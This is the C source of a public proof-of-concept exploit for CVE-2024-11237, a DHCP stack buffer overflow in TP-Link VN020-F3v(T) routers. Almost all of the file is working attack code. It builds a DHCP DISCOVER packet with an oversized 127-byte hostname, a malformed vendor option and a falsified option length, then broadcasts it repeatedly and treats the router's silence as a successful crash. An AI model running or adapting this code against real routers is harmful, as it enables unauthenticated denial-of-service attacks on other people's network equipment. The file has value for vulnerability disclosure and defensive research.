/*
* Exploit Title: TP-Link VN020 F3v(T) TT_V6.2.1021) - DHCP Stack Buffer Overflow
* Date: 10/20/2024
* Exploit Author: Mohamed Maatallah
* Vendor Homepage: https://www.tp-link.com
* Version: TT_V6.2.1021 (VN020-F3v(T))
* Tested on: VN020-F3v(T) Router (Hardware Version 1.0)
* CVE: CVE-2024-11237
* Category: Remote
* Technical Details:
* -----------------
* - Triggers multiple memory corruption vectors in DHCP parsing
* - Primary vector: Stack overflow via oversized hostname (127 bytes)
* - Secondary vector: Parser confusion via malformed length fields
* - Tertiary vector: Vendor specific option parsing edge case
*
* Attack Surface:
* --------------
* - DHCP service running on port 67
* - Processes broadcast DISCOVER packets
* - No authentication required
* - Affects all routers running VN020 F3v(t) specifically the ones
* supplied by Tunisie Telecom & Topnet
*
* Exploitation Method:
* ------------------
* 1. Sends crafted DHCP DISCOVER packet
* 2. Overflows hostname buffer (64 -> 127 bytes)
* 3. Corrupts length fields in DHCP options
* 4. Success = No response (service crash)
*
* Build:
* ------
* Windows: cl poc.c /o tplink_dhcp.exe or use visual studio directly.
*
* Usage:
* ------
* tplink_dhcp.exe
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <Ws2tcpip.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
// Standard DHCP ports - Server listens on 67, clients send from 68
#define DHCP_SERVER_PORT 67
#define DHCP_CLIENT_PORT 68
#define MAX_PACKET_SIZE 1024 // Maximum size for DHCP packet
#define MAX_ATTEMPTS 3
// Forward declarations of functions
void create_dhcp_discover_packet(unsigned char* packet, int* packet_length);
void add_option(unsigned char* packet, int* offset, unsigned char option,
unsigned char length, unsigned char* data);
void tp_link(unsigned char* packet, int* offset);
void print_packet_hex(unsigned char* packet, int length);
int wait_for_response(SOCKET sock, int timeout);
int main() {
WSADATA wsa;
SOCKET sock;
struct sockaddr_in dest;
unsigned char packet[MAX_PACKET_SIZE]; // Buffer for DHCP packet
int packet_length = 0; // Length of constructed packet
int attempts = 0; // Counter for send attempts
int success = 0;
printf("[TP-Thumper] Initializing Winsock...\n");
if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) {
printf("[TP-Thumper] Winsock initialization failed. Error: %d\n",
WSAGetLastError());
return 1;
}
sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if (sock == INVALID_SOCKET) {
printf("[TP-Thumper] Could not create socket. Error: %d\n",
WSAGetLastError());
WSACleanup();
return 1;
}
// Set up broadcast address (255.255.255.255)
dest.sin_family = AF_INET;
dest.sin_port = htons(DHCP_SERVER_PORT);
dest.sin_addr.s_addr = inet_addr("255.255.255.255");
// Enable broadcast mode on socket
BOOL broadcast = TRUE;
if (setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char*)&broadcast,
sizeof(broadcast)) < 0) {
printf("[TP-Thumper] Broadcast mode failed.\n");
closesocket(sock);
WSACleanup();
return 1;
}
srand((unsigned int)time(NULL));
// Create the DHCP DISCOVER packet
create_dhcp_discover_packet(packet, &packet_length);
// Main attempt loop - tries to send packet MAX_ATTEMPTS times
while (attempts < MAX_ATTEMPTS && !success) {
printf("[TP-Thumper] Sending DHCP Discover packet (Attempt %d/%d)...\n",
attempts + 1, MAX_ATTEMPTS);
print_packet_hex(packet, packet_length); //debug
// Send the packet
if (sendto(sock, (char*)packet, packet_length, 0, (struct sockaddr*)&dest,
sizeof(dest)) < 0) {
printf("[TP-Thumper] Packet send failed. Error: %d\n", WSAGetLastError());
}
else {
printf("[TP-Thumper] Packet sent. Waiting for router response...\n");
if (wait_for_response(sock, 10)) {
printf(
"[TP-Thumper] Router responded! Exploit may not have succeeded.\n");
success = 1;
}
else {
printf("[TP-Thumper] No response received within timeout.\n");
}
}
attempts++;
}
if (!success) {
printf(
"[TP-Thumper] Exploit succeeded: No router response after %d "
"attempts.\n",
MAX_ATTEMPTS);
}
else {
printf("[TP-Thumper] Exploit failed: Router responded within timeout.\n");
}
// Cleanup
closesocket(sock);
WSACleanup();
return 0;
}
/*
* DHCP Message Format:
* [0x00]: op = 0x01 ; BOOTREQUEST
* [0x01]: htype = 0x01 ; Ethernet
* [0x02]: hlen = 0x06 ; MAC addr len
* [0x03]: hops = 0x00 ; No relay
* [0x04-0x07]: xid ; Random transaction ID
* [0x08-0x0F]: secs + flags ; Broadcast flags set
* [0x10-0x1F]: ciaddr + yiaddr ; Empty
* [0x20-0x27]: siaddr + giaddr ; Empty
* [0x28-0x2D]: chaddr ; Crafted MAC
*/
void create_dhcp_discover_packet(unsigned char* packet, int* packet_length) {
memset(packet, 0, MAX_PACKET_SIZE);
int offset = 0;
// DHCP Header - Standard fields
packet[offset++] = 0x01; // BOOTREQUEST
packet[offset++] = 0x01; // Ethernet
packet[offset++] = 0x06; // MAC len
packet[offset++] = 0x00; // No hops
// ; XID - rand() used for bypass of response filtering
// ; mov eax, rand()
// ; mov [packet + 4], eax
unsigned int xid = (unsigned int)rand();
*((unsigned int*)&packet[offset]) = htonl(xid);
offset += 4;
// ; Flags - Set broadcast bit to force response
// ; mov word [packet + 8], 0x0000 ; secs elapsed
// ; mov word [packet + 10], 0x8000 ; broadcast flag
packet[offset++] = 0x00;
packet[offset++] = 0x00;
packet[offset++] = 0x80;
packet[offset++] = 0x00;
// Zero IP fields - forces DHCP server parse
memset(&packet[offset], 0, 16);
offset += 16;
// ; Crafted MAC - DE:AD:BE:EF:00:01
// ; Used for unique client tracking, bypasses MAC filters
packet[offset++] = 0xDE;
packet[offset++] = 0xAD;
packet[offset++] = 0xBE;
packet[offset++] = 0xEF;
packet[offset++] = 0x00;
packet[offset++] = 0x01;
memset(&packet[offset], 0x00, 10);
offset += 10;
// ; Skip server name/boot filename
// ; Total padding: 192 bytes
memset(&packet[offset], 0x00, 64);
offset += 64;
memset(&packet[offset], 0x00, 128);
offset += 128;
// ; DHCP Magic Cookie
// ; 0x63825363 = DHCP in natural order
packet[offset++] = 0x63;
packet[offset++] = 0x82;
packet[offset++] = 0x53;
packet[offset++] = 0x63;
// ; Stack layout after this point:
// ; [ebp+0] = DHCP header
// ; [ebp+240] = DHCP options start
// ; Router parses sequentially from this point
add_option(packet, &offset, 0x35, 0x01, (unsigned char[]) { 0x01 });
add_option(packet, &offset, 0x37, 4,
(unsigned char[]) {
0x01, 0x03, 0x06, 0x0F
});
// ; Trigger overflow conditions
tp_link(packet, &offset);
packet[offset++] = 0xFF; // End option
*packet_length = offset;
}
void tp_link(unsigned char* packet, int* offset) {
// ; Vendor specific overflow - triggers parser state confusion
// ; 0x00,0x14,0x22 = TP-Link vendor prefix
// ; Following 0xFF bytes cause length validation bypass
unsigned char vendor_specific[] = { 0x00, 0x14, 0x22, 0xFF, 0xFF, 0xFF };
add_option(packet, offset, 0x2B, sizeof(vendor_specific), vendor_specific);
// ; Stack buffer overflow via hostname
// ; Router allocates 64-byte buffer but we send 127
// ; Overwrites adjacent stack frame
unsigned char long_hostname[128];
memset(long_hostname, 'A', sizeof(long_hostname) - 1);
long_hostname[127] = '\0';
add_option(packet, offset, 0x0C, 127, long_hostname);
// ; Length field exploit
// ; Claims 255 bytes but only sends 1
// ; Router assumes full length during memory operations
// ; leads to read/write past buffer
add_option(packet, offset, 0x3D, 0xFF, (unsigned char[]) { 0x01 });
}
// ; Helper for DHCP option construction
// ; option = option code
// ; length = claimed length (can be falsified)
// ; data = actual payload
void add_option(unsigned char* packet, int* offset, unsigned char option,
unsigned char length, unsigned char* data) {
packet[(*offset)++] = option; // Option type
packet[(*offset)++] = length; // Claimed length
memcpy(&packet[*offset], data, length);
*offset += length;
}
// Debug
void print_packet_hex(unsigned char* packet, int length) {
printf("[TP-Thumper] Packet Hex Dump:\n");
// Print header fields with labels
printf("Opcode (op): %02X\n", packet[0]);
printf("Hardware Type (htype): %02X\n", packet[1]);
printf("Hardware Address Length (hlen): %02X\n", packet[2]);
printf("Hops: %02X\n", packet[3]);
// Transaction ID
printf("Transaction ID (xid): ");
for (int i = 4; i < 8; i++) {
printf("%02X ", packet[i]);
}
printf("\n");
// Flags
printf("Flags: ");
for (int i = 10; i < 12; i++) {
printf("%02X ", packet[i]);
}
printf("\n");
// Client Hardware Address (MAC)
printf("Client Hardware Address (chaddr): ");
for (int i = 28; i < 34; i++) {
printf("%02X ", packet[i]);
}
printf("\n");
// DHCP Magic Cookie
printf("Magic Cookie: ");
for (int i = 236; i < 240; i++) {
printf("%02X ", packet[i]);
}
printf("\n");
// DHCP Options
printf("DHCP Options:\n");
int i = 240;
while (i < length) {
printf(" Option: %02X, Length: %02X, Data: ", packet[i], packet[i + 1]);
int option_length = packet[i + 1];
for (int j = 0; j < option_length; j++) {
printf("%02X ", packet[i + 2 + j]);
}
printf("\n");
i += 2 + option_length;
if (packet[i] == 0xFF) {
printf(" End of Options\n");
break;
}
}
}
// Wait for router response with timeout
int wait_for_response(SOCKET sock, int timeout) {
struct timeval tv;
tv.tv_sec = timeout;
tv.tv_usec = 0;
// Set up file descriptor set for select()
fd_set readfds;
FD_ZERO(&readfds);
FD_SET(sock, &readfds);
// Wait for data or timeout
int result = select(0, &readfds, NULL, NULL, &tv);
return result > 0; // Returns true if data available
}